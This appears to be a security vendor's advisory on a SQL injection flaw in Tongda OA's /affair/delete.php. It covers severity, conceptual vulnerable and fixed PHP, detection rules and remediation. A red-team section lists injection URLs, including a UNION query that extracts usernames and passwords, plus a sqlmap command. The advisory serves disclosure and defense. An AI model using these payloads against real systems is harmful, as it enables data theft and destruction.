CVE-2024-25320

Executive Summary

CVE-2024-25320 is a critical SQL injection vulnerability discovered in Tongda OA versions v2017 through v11.9. The flaw resides in the /affair/delete.php script, where the $AFF_ID parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the nature of the flaw, it is considered high risk. No official patch has been released, and the vendor has not acknowledged the issue. Public proof-of-concept (PoC) code exists, making this a high-priority threat for organizations using the affected versions.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone web application (Tongda OA) vulnerability.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0, a reasonable assessment based on the vulnerability characteristics is:

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full database read access is possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 9.8 (Critical)

Threat Level: Critical – Immediate action required.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the delete.php script of Tongda OA. The $AFF_ID parameter is taken directly from user input (likely via GET or POST) and concatenated into a SQL DELETE statement without proper sanitization or parameterization.

Vulnerable Code Snippet (Conceptual):

$aff_id = $_GET['AFF_ID'];
$sql = "DELETE FROM affairs WHERE id = $aff_id";
$result = mysqli_query($conn, $sql);

An attacker can manipulate the AFF_ID parameter to break out of the intended query and execute arbitrary SQL commands. For example:

http://target/affair/delete.php?AFF_ID=1 OR 1=1

This would delete all records in the affairs table.

Impact:

• Data Exfiltration: Using UNION-based SQL injection, an attacker can extract sensitive data from other tables (e.g., user credentials, system configuration).
• Data Manipulation: DELETE, UPDATE, or INSERT operations can be performed.
• Authentication Bypass: If the injection is used in a login context, it could bypass authentication.
• Remote Code Execution (RCE): In some configurations, SQL injection can lead to RCE via xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$aff_id = $_GET['AFF_ID'];
$sql = "DELETE FROM affairs WHERE id = $aff_id";
$result = mysqli_query($conn, $sql);

Patched Code (Conceptual):

$aff_id = intval($_GET['AFF_ID']); // Cast to integer
$sql = "DELETE FROM affairs WHERE id = $aff_id";
$result = mysqli_query($conn, $sql);

Or using prepared statements:

$stmt = $conn->prepare("DELETE FROM affairs WHERE id = ?");
$stmt->bind_param("i", $_GET['AFF_ID']);
$stmt->execute();

Key Difference: The patched code ensures that the input is treated as a number (via intval()) or uses parameterized queries, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Tongda OA instance (v2017 to v11.9).
• Network access to the /affair/delete.php endpoint.

Exploitation Steps:

1. Identify the vulnerable parameter:

   http://target/affair/delete.php?AFF_ID=1
   

   If the page returns a normal response, the parameter is likely injectable.

2. Test for SQL injection:

   http://target/affair/delete.php?AFF_ID=1'
   

   If an error is returned (e.g., MySQL syntax error), the parameter is vulnerable.

3. Extract database information:

   http://target/affair/delete.php?AFF_ID=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--
   

   Adjust the number of columns based on the table structure.

4. Extract user credentials:

   http://target/affair/delete.php?AFF_ID=1 UNION SELECT 1,username,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 FROM users--
   

Automated Exploitation (sqlmap):

sqlmap -u "http://target/affair/delete.php?AFF_ID=1" --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL error messages in logs.
• Look for requests containing SQL keywords (UNION, SELECT, OR, AND) in the AFF_ID parameter.
• Use WAF rules to block suspicious patterns.

Honeypot:

• Deploy a fake Tongda OA instance to capture attacker behavior.

Lab Setup:

• Use Docker to create a vulnerable environment:

  FROM php:7.4-apache
  COPY vulnerable_app /var/www/html/
  RUN docker-php-ext-install mysqli
  

• Run with:

  docker build -t tongda-vuln .
  docker run -p 80:80 tongda-vuln
  

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /affair/delete.php with AFF_ID parameter containing SQL syntax (e.g., ', OR, UNION).
• Outbound database connections from the web server to unexpected IPs.
• Large response sizes indicating data exfiltration.

File IOCs:

• Modified or deleted records in the affairs table.
• New files in the web root (e.g., webshells).

Log IOCs:

• MySQL error logs showing syntax errors near ' or OR.
• Apache access logs with AFF_ID containing SQL keywords.

Detection Engineering

YARA Rule

rule CVE_2024_25320_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting Tongda OA CVE-2024-25320"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-25320"
    strings:
        $sqli1 = "AFF_ID=" nocase
        $sqli2 = "UNION" nocase
        $sqli3 = "SELECT" nocase
        $sqli4 = "OR 1=1" nocase
        $sqli5 = "DROP" nocase
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: CVE-2024-25320 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Tongda OA /affair/delete.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/affair/delete.php?AFF_ID='
            - 'UNION'
            - 'SELECT'
            - 'OR 1=1'
            - 'DROP'
    condition: selection
falsepositives:
    - Legitimate use of the word "UNION" in a parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-25320 SQL Injection Attempt"; flow:to_server; content:"/affair/delete.php"; http_uri; content:"AFF_ID="; http_uri; pcre:"/(UNION|SELECT|OR\s+1=1|DROP)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: Disconnect vulnerable Tongda OA instances from the network if possible.
2. Apply virtual patching: Use a WAF to block SQL injection patterns in the AFF_ID parameter.
3. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no patch exists.

Long-term Fixes:

• Code review: Implement parameterized queries or input validation (e.g., intval()) in all database interactions.
• Security training: Educate developers on secure coding practices.
• Regular updates: Monitor vendor advisories for patches.

Workaround:

• Disable the /affair/delete.php endpoint if not needed, or restrict access via .htaccess:

  <Files "delete.php">
      Order Deny,Allow
      Deny from all
  </Files>
  

Valters IT
Securing your digital frontier.